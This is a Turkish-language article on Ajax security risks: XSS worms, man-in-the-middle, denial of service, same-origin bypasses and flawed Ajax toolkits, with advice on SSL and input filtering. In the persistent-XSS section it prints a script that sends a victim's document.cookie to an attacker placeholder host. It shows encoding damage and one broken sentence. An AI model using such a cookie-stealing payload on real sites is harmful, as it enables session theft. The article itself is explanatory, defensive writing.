Ajax Güvenliği: Dirt’den daha kuvvetli?
Ajax’ın güvenlik içeriğine bir bakış
Ajax; daha zengin özellikli , eşzamanlıolmayan programların gelişimine, izin verir, fakat bunu yaparken de yeni saldırılara yeni olasılıklar yaratır. Ä°lgili güvenlik konularına ve onların olasıçözümlerine bakacağız.
Ajax (Asynchronous JavaScript and XML = Eşzamanlıolmayan JavaScript ve XML) 2005’de hayata geçmiştir. Bir web servisi modeli Ajax, yeni ve büyük bir şey olarak web geliştirme işindekilere tanıtılmıştır. Bütün bunlara karşın, Ajax kusursuz değildir, bunların en başında herkes Ajax’ın ne olduğunu bilmemektedir ve olasıriskler kurumsal çevrelere tam olarak anlatılamamıştır. Bu makale, Ajax’ın ne olduğunu, Ajax programlarının güvenlik içeriklerini ve bu teknolojiye karşıpotansiyel saldırıvektörlerini ve olasıkoruma sistemlerini inceler.
Ä°şin en basitinden Ajax, eski teknolojilerin üzerine kurulmuş fakat onların orijinal kapsamının ötesine geçmiş herhangi yeni bir şeydir. Ajax, Dinamik HTML mantığının en yeni mirasçısıdır ve özellik bakımından zengin ve pratik web programlarıgeliştirilmesine izin verir. Bütün Ajax web programlarının en fakir seviyesinde XMLHttpRequest JavaScript nesnesini veriyi uzak bir web sunucusundan çekmek için kullanır ve be veriyi DOM (Document Object Model = Doküman Nesne Modeli) kullanan bir web sayfasıiçin değiştirir. şimdiye kadar, Google, Yahoo ve Microsoft, Ajax geliştirme alanında büyük oyuncular olmuşlardır, fakat sayılarıartan yüksek profilli web sayfaları; eşzamanlıolmayan, kullanıcılarıiçin özellik zengini gibi faydalar sağlamak için Ajax’a dönmektedirler.
Bütün bunlardan önce JavaScript ve tarayıcıgüvenlik konularına bakmak en iyisidir. Bir Ajax programının ilk çalıştırılmasının üzerine web sunucusu PC’deki tarayıcıya bir seri JavaScript komutlarıyollar, bu tarayıcıdaha sonra aldığıkomutlarıçalıştırır. Açıkça, Ajax programının kullanıcısıprogramın yapımcılarına ayrıbir güven besler. Ajax programının JavaScript kodu, çalıştırılabilir mobil koddur ve muhtemel güvelik riskleri içerir. Tipik olarak, tarayıcısatıcılarıbu JavaScript kodunun bir kum kutu içinde çalıştırılmasıgibi dikenli bir konu ile ilgilenirler. Buna ek olarak, JavaScript güvenlik modeli farklıdomainlerden birbirleriyle etkileşim içinde olan (ve DOM’u etkileyen) scriptleri korur.
Geleneksel web programlarıve bunların Ajax karşıtlarıarasında, Cross Side Scripting (XSS), genel ve sıkça tahmin edilemeyen bir problem olarak kalır, bu problem potansiyel saldırgana geniş bir saldırıalanısağlar. Ajax saldırganlara hem yeni ve zengin bir potansiyel açığıolan programlar sağlar hem de çok güçlü exploit metotlarısunar. Geleneksel bir web programında saldırganlar tarihsel olarak dikkatlerini tarayıcılar üzerine bir bekleme durumunda odaklamak zorunda kalmışlardır ve bu birçok örneğinde programın gerektiği gibi sessiz davranmadığıkonusunda görsel ipuçlarısunmuştur.
Eş zamanlıolmayan davranışların tanıtılmasıyla beraber, şüpheli kod, kullanıcıya yansıtılmayan ipuçlarıolmaksızın XSS’in bir sonucu olarak sessizce ve el altından bütün zararlıaktiviteleri gerçekleştiriyor olabilir. Son zamanlardaki bunun örnekleri JS.Spavehero solucanının ve yakın zamanda Yahoo’nun giriş onaylama rutinlerini ve kod filtrelerini exploit eden JS.Yamanner solucanının davranışlarınıiçerir. Bu iki gerçek dünya saldırılarının geniş çaplızararına rağmen saldırganların XSS gibi bir geleneksel ve iyi bilinen vektör üzerine odaklanmalarıbir gerçektir. Ajax programının uygulamasının ortaya çıkmasıkimseye “Web
MySpace solucanının kullandığısaldırıvektörü XMLHTTPRequests’ini bir yayılma mekanizmasıolarak kullanmıştır ve bir ısrarcıXSS saldırısıolarak tanımlanabilir. Nispeten iyi huylu olan bu solucan, XMLHTTPRequests kullanan JavaScript kodunu GET ve POST isteklerini arkada ne olup bittiğinden habersiz ve hedeflenmeyen kullanıcılıbir uygun sunucu çalıştırmak için kullanmıştır. Bütün bunların bir sonucu onların, uygun kontakların listesine yeni bir arkadaş eklemesidir. Israrcı(veya tip 2) XSS saldırısında, bir şüpheli saldırgan programın kullanılabilirliğini kendine karşıkullanır. En basit seviyesinde, eğer bir program XSS’e karşıaçıklara sahipse, saldırganlar kendi saldırıvektörlerini sunucu üzerinde depolamayıve onu uygun kullanıcılara karşıkullanmayıseçebilirler. Örneğin; mesaj atmak için session ID’sine ve authentication’a gerek duyan eski bir mesajlaşma sistemini ele alalım. Eğer session ID’si client taraflıcookie şekilde saklanıyorsa ve program XSS’e göre açıksa, bir saldırgan uygun ve kullanıcıyıkendi şüpheli sitelerine yönlendiren JavaScript kodunu depolayabilir.
<script>
document.location.replace(
“http://www.attackersite.example/steal.php “
+ “what=” + document.cookie)
</script>
IsrarlıXSS, web programlarının daha çok eşzamanlıolmayan ve özellik bakımından zengin ortamlara karışmasından dolayıpotansiyel olarak tehlikeli ve ciddi bir sorundur. Geliştirmenler, ciddiyetle geçmişte olan tehditleri göz önünde bulundurmalılardır. Bu saldırıvektörlerinin çözümü basittir ve geliştirenlerin XMLHTTPRequest nesnesinin fonksiyonelliğinin temeline daha çok hesaba almalarıdır.
MITM: Saldırıların Kissinger’i
Bir Ajax uygulamasıtarafından iletilen verilerin çoğu Sade metin içerisindeki http üzerinde bulunduğu için, Ajax uygulamalarıorta (MITM) saldırılar içerisindeki potansiyel şahıslara açıktır.
MITM saldırılarının büyük oranda varsayımdan ibaret olduğu yaygın bir yanlış anlamadır, ama SSL uygulamasıyapmadan bir Ajax uygulamasınıhedef almak isteyen bir saldırgan için mevcut birkaç ilgili saldırıvektörleri(ve araçları) vardırMITM saldırılarıbir network seviyesinde yaygın olmasına rağmen, web uygulamalarına (Ajax ya da değil) karşıbir saldırıvektörü olarak da sıklıkla kullanılmaktalar. Tipik bir MITM saldırısında, saldırıyıyapacak kişi mevcut web uygulamasının mantıklı(yasal) bir kopyasınıyapar, kullanıcılarıbuna yönlendirir, taleplerini sunucuya tuzak olarak kurar, bir kopyasınıdepolar, ve sonra da mantıklı(yasal)uygulamaya yeniden yönlendirilir. Açıkçası, bu en popüler biçimde phising saldırılarında uygulanan bir saldırıvektörüdür ve phisher lar son zamanlarda çok anlatılan iki faktörlü kimlik denetimini bypass edecek benzer teknikler kullanmışlardır.
Bir Ajax uygulamasıolarak geliştirilmiş bir alış-veriş portalınıgöz önünde bulundurun Geleneksel bir web uygulamasında olduğu gibi, saldırıyıdüzenleyenler uygulamanın bir kopyasınıkurabilir(ya da daha spesifik olarak ödeme seçenekleri),sonra da kullanıcılarıbunu kullanmalarıiçin oyuna getirir ve banka/ödeme ayrıntılarıile ayrılırlar. Ajax uygulamalarının asenkronize doğasısağolsun, aynızamanda Ajax verilerinin kaynağınıspoof etmek ve yasal uygulama bileşenlerini daha şüphe dolu ve yapmacık maksatlarla değiştirmek mümkün olabilir.
Bununla birlikte, geleneksel web uygulamalarında olduğu gibi, bir Ajax uygulamasıaracılığıile gönderilen HTTP talep ve yanıtlarıSSL içerisine sarılabilir. MITM saldırılarına[7] karşıhiçbir şekilde kusursuz bir çözüm olmamasına rağmen, bu bir uygulamanın güvenlik duruşunu arttırmak için basit bir mekanizmadır. Hatırlanmalıdır ki SSL kullanan uygulamalara karşıkullanmak için başarılısaldırıvektörleri geliştirmeye çok fazla enerji odaklanmıştır ve gelişigüzel yapılan bir internet araştırmasıbile açığa çıkarmıştır ki araştırmacılar ve kara şapkalılar benzer biçimde emeklerini boşa harcamamışlardır. Gerçekten de birkaç yıl önce SSL 2.0 bir MITM hotsu saldırılarına karşısavunmasız bulunmuştur. Bu nedenle SSL göz önünde bulundurulduğunda, hesaba katılacak en az güvenlik SSL 3.0 kriptografi ve TLS 1.0 kurmaktır.
Ä°deal olarak bir uygulamadan bir Ajax client’a servis edilen dinamik kod tabanının kısıtlayıcıerişimi olmalıdır. Ajax yalnızca http aracılığıile iletişime izin verme ile sınırlıolduğu için, ve güvenli HTTPyi tanıtmak bireysel veri işlemlerini sınırlamaya yardımcıolabilecek olmasına rağmen, belirli bir URL ye kimin ya da neyin çağrıyapabileceğini belirlemek için kullanılan bir mekanizma gibi uygulanamaz. Her nasılsa, XMLHTTP talep nesnesi granularite sağlamakta ve geliştiriciler ideal olarak ya HTTP oturumunu sağlayan http talepleini filitre etmeyi ya da kötü niyetli erişim çabalarınıönlemek için şifrelenmiş http başlıklarınıçalıştırmayıgöz önünde bulundurmalıdırlar.
Yeni uygulamalar, eski hileler
Ajax temeli var olan standartlara dayanan bir yapıolduğundan ve uygulamalarıkonvansiyonel web geliştirme teknikleri etrafında temellendiğinden, Ajax uygulamalarının aynızamanda diğer bütün web uygulamalarıile paylaşılan güvenlik konularıvardır.
Göz önünde bulundurulmasıgereken bir güvenlik konusu, eğer bir Ajax uygulama rutini zayıf dizayn edilmiş ya da uygulanmışsa, uygulama sunucusuna karşıbaşarılıbir DoS saldırısıyapmak için kullanılma potansiyeli vardır. Mevcut bir çok web uygulamasıve sunucu belirli bir zaman dilimi içerisinde belirli sayıda eylem gerçekleştiren belli sayıda kullanıcıya uyarlanmıştır. Sayesinde uygulama geliştiricilerinin Ajax’ın asenkronize doğasınısarmaladığıve kullanıcıseçme gidisi üzerine temellendirilmiş otomatik doldurulmasıgereken bir forma izin verdiği bir senaryo düşünün. Client ya da Server üzerinde önbellek verisi yerine, küçük bir Ajax kontrolü veritabanınıdirekt olarak tarar. Bu, açıkça yapılan talepleri artırır ve sunucunun(ve/ya da oturum) kaldıramayabileceği bir sürücü yüklenmesi potansiyeline sahiptir. Eğer uygun bakım yapılmazsa, uygulamalar bir saldırganın offline’ızorlamasıiçin karşılaştırmalıolarak önemsiz olabilir ve söylentide olduğu gibi, Ajax kendi kendisine karşıkullanılabilir.
Ajax ile ilgili bir büyük konu, saldırgana artırılmış bir saldırıalanıvermeye gücü olmasıdır. Geliştiriciler uygulamanın desteğinde sınırlıişlevsellik gösteren sunucu taraflısayfalar uygulamayıseçebilirler. Bu sunucu taraflısayfalar yasal olarak gerçekleştirebilecekleri eylemlerde yasaklanacak olmalarına karşın, saldırıyapacak birine artırılmış bir saldırıalanısağlayabilirler ve uygulamanın geri kalanıgibi dikkatlice güvenlik altına alınmalarıgerekecektir.Bir başka kaygıalanıda hatalarla başaçıkmadır. Geleneksel bir çok web uygulamasında bu gözden kaçırılan bir alandır ve bir sonraki muhteşem uygulamayıyaratmak için acele edilirken hatalarla başaçıkma zaman bakımından baskıaltında olan gelişim takımlarıtarafından epey ihmal edilmiş olabilir. Hatalarla doğru şekilde başa çıkma bu makalenin konusu değil, ancak Ajax geliştirme takımları, bu kesinlikle dikkat çekecek bir saldırıvektörü olduğu için bir uygulamanın hata vermesi için titizlikle çalışmalı.
Ne dilediğinize dikkat edin
Ajax güvenliği tarafından yapılan bir iddia, phishing ve MITM saldırılarından gelen tehditlerin XMLHTTPRtalep nesnesinin uygulanmasıile büyük ölçüde azaltıldığıdır. Geleneksel JavaScriptin tersine XMLHTTPRequest nesnesinin çapraz domain, çapraz port ya da çapraz protokol talepleri yapmasına izin verilmemiştir. Bu gelişigüzel saldırılarısınırlandırmasına rağmen, aynızamanda çapraz site uygulamalarının gelişiminde zorluklar çıkarabilir. XMLHTTPRequest nesnesinin kullanımıve aynıorijinal güvenlik politikasıkısıtlamalarıtarafından ortaya çıkan zorluklar için birkaç potansiyel çözüm vardır.Harici bir domain kaynagindan bilgi arayip bulma isteklerinde XMLHTTP Request nesnesi tarafindan belirlenen sinirlandirilmalari bertaraf etmedeki en basit mekanizma, ayni domainde host edilen URL yi cagirmaktir ancak bloke edilmis harici domainden istenilen bilgiyi ayristirmak icin scrpting dilinden faydalanilir.Obur mekanizma istege bagli java script kullanir.Gelistiriciler Capraz domain script kullanarak kolay bir sekilde dis muhteviyata ulasirlar.Ancak bu teknigin kullanimi uygulanan diger herhangi bir scriptten daha az gozealinabilir derecede risksiz degildir , boylece ana sayfadaki scriptlerin ayni baskinligi ile potansiyel guvenlik vakalari kayda degerdir.En iyisi capraz domain scriptlerinden kacinmaktir.Cabalayan gelistirmeciler icin tek mekanizmalar bunlar degildir tabiki ve fransiz yazilim muhendisi JC zaten her iki Greasemonkey scriptleri ve Flash programlarini kullanarak XMLHTTP Request nesnelerinin sinirlarini asabilmek icin kaydadeger bir zaman ayirmistir.XMLHTTP Request nesnelerinin saglamliklarinin asan sadece gelistirmeciler degildir , saldirganlar bundan faydalanmak icin bircok sayida yol bulmuslardir.Opera ve Mozillada olan bir cok hata halk tarafindan kapatilmistir.Tarayici guvenlik mekanizmasi gelistiricilere harici domain kaynaklarina XMLHTTP Request nesneleri kullanarak istekte bulunmalarina izin vermeyebilir ( yukarda tartistigimiz bypass mekanizmalarindan birini kullanmadigi takdirde) ama bu azimli saldirgani durdurmayabilir.Farzedin sizin sitenizde sub-domain var (ornek www.bankam.com hesaplar.bankam.com sub-domainine sahip)Eger sub-domain ( veya en ust seviye domanin URL de olabilir) script enjeksiyonuna karsi zayifsa saldirgan XMLHTTP Request nesnelerini domain etrafinda pervasizca sicratabilir ve oradaki kontrollerin gecerliligin ne olduguna gore bilgilere uygunsuz ulasim saglayabilir. Saldirganlarin XMLHTTP Request nesnelerinindeki guvenlik aciklarini her ne kadar zaten dusunmediklerine inanacak derecede kuskulu isenizde Darknet makalesini hizli bir goz atmanizda her acidan fayda vardir.
Framed
Ajax gelismeye yonelik yapilanmasiyla kendini ortaya koydugundan beri bir cok sayida Ajaxla ilgili sistem ve aractakimi ortaya cikmistir.Bu tip sistemlerin ve aractakimlarinin cikislari ivme kazandi ve hala bir dusme egilimi gostermemektir.Acikca ortadadirki bu sistemleri kullanarak gelistirilen herhangi bir uygulamada guvenlik acigini kalitimsal olarak tasiyacaktir ve bu saldirganlar ve guvenlik uzmanlari icin oldukca cekici yerini koruyacaktirBunun sebebi bu kadar basittir ; kotu niyetli saldirganlar, populer olarak yayginlasmis aractakimlari ve sistemlere basarili saldirilar siklikla, potansiyel olarak benzer ozellikleri barindiran yuzlerce sayfayi indirmede yararli olacaktirHangi sistemin veya aractakiminin kullnilacagi guvenlik acisindan onemli bir karardir Sistem cevrelerinin cogunlugu olarak ve aractakimlari henuz genelde kendini ispatlamamislardir ( cogu zaten deneme surumudur) ve guvenlik uygulamalarindaki islevselligi arastirilmamis bir degiskendir,risk yonetimi islemleri secimlerinde mutlaka onemli bir rol oynayacaktir.Oldukca cok sayidaki Ajax sistem ve aractakimlari konusunda sinirli sayida mesrulugu kabul edilmis arastirma yapilmasina ragmen,burasi tamamen kisir bir alan degildir.Gecen sene, bircoklarina gore digerlerinden daha meshur olan Ajax aractakimi CPAINT hakkinda bazi sorunlar bulunmusturZaafiyetler capraz site scriptinden kotu niyetli kodlari calistirabilecek yetersiz fonksiyon guvenligine kadar degisik cesitlilik gostermektedirArastirmaci Thor larholm tarafindan bulunan en kritik acikta saldirgan kotu niyetli kodu calistirmak icin onceden tanimli bir fonksiyonda gecerli bir isim edinmesine bile ihtiyac duymamaktadirBu yilin baslarinda Ajax sistemi Pajax ta bircok sayida acik bulunmustur En cok sozu edilen CPAINT teki aciklarla birlikte yetersiz input temizligi ve gecerlilige yol acan heryerde saldirgan kolayca zararli kodlari calistirabilir.Hizli gelisen Ajax uygulamalari araciligi ile Pajax kulllanan arastirmacilar icin hala daha kaygilandiricisi, bu yilin mayisinda potansiyel olarak yuzlerce Web 2.0 uygulamalarini gecirgen hale getiren metasploit modulu ortaya cikarilmistir
Igitur qui desiderat pacem, praeparet bellum
(”Therefore, he who desires peace, let him prepare for war”)
Bu nedenle barisi isteyenler savasa hep hazir olsunlar
XSS ve MITM gibi saldiri tasiyicilari genelde son kullanicilara yonelik Web 2.0 uygulamalaridirAncak, bu makalede diger yerlerdede sozunu ettigimiz zayif sistemlerde servere yapilacak saldirinin tamamen yapilamaz olmadigini anlamina gelmemektedir.Ajax uyguamalarinin sunucu elementi guvenli olmayan bir kullanicidan input alir ve bu input filtre edilip degerlendirilmez ise saldirgan kendi kodlarini sistemem enjekte edbilir ve kodlarini sunucuda calistirabilir.Kurnaz saldirganlar henuz tamamen sunucu bazli tasiyicilara atlamiyorlar ama klasik uzaktan kod dahil etme sorunlarini PHP yaziliminda register_globals=on orneginde oldugu gibi ,ileriki arastirmalar icin ilerde verimli bir alan olabilecegini ispatlamistir.Ajax uygulamalarinin yayilma guvenligini tayin etmek icin ne kadar cabalasakta oldukca sinirli sayida Ajaxa yonelik test araclari suan elimizde mevcuttur.Bu araclarinda bircogu belirli kaynak yoksunlugundan yakinmaktadir.Sprajax (http://www.denimgroup.com/sprajax.html) ornegin, sadece SQL server 2005 databasine birlesim fonksiyonu vardir. Cenzic gibi saticilar kendi otomatik acik bulma yontemlerine guvenerek piyasada oldukca Ajaxi destekleyen uygulamalar hakkinda cok cesaretli iddialarda bulunmaktadirlar.OWASP ( acik internet uygulamalari projesi) Ajax uygulamalarinin guvenligi konusunda pratik metodlar ve katilimci degerlendirmesine yonelik uygulamalarla yardimci olmaktadir.Bu gerceklesene kadar Ajax uygulamalarinin acik ve hata bulmalarinda suanda varolan arac ve metodlarda biraz sikinti yasayacaklari malesef uzucu bir meseledir.Arastirma ve gelistirme arac ve resmi metodlarin azligina ragmen varolan uygulamalarda guvenlik yatirimlar ve gelistirme takimlarinin olusturulmasi varolan tehlikelere karsi gozden kacirilmamalidir.Herhangi uygulamanin gelistirilmesinde guvenlik gelistirme asamalarinda mutlaka onemli bri rol oynamalidir.Eger Ajax ongorulenlerin hepsini dogrularsa bu beyinler onu hakektigi yere getirmek icin gereken cabayida vereceklerdir.Artik bu gorevi sonuna kadar kovalamak profesyonel guvenlikcilere ve deneyimli gelistirmecilere dusmektedir.
Powered by MightyAdsense
